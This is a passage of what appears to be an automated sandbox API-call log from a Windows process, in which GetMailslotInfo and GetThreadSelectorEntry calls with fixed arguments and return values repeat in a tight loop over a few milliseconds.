out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.324] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.324] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.325] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.325] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, 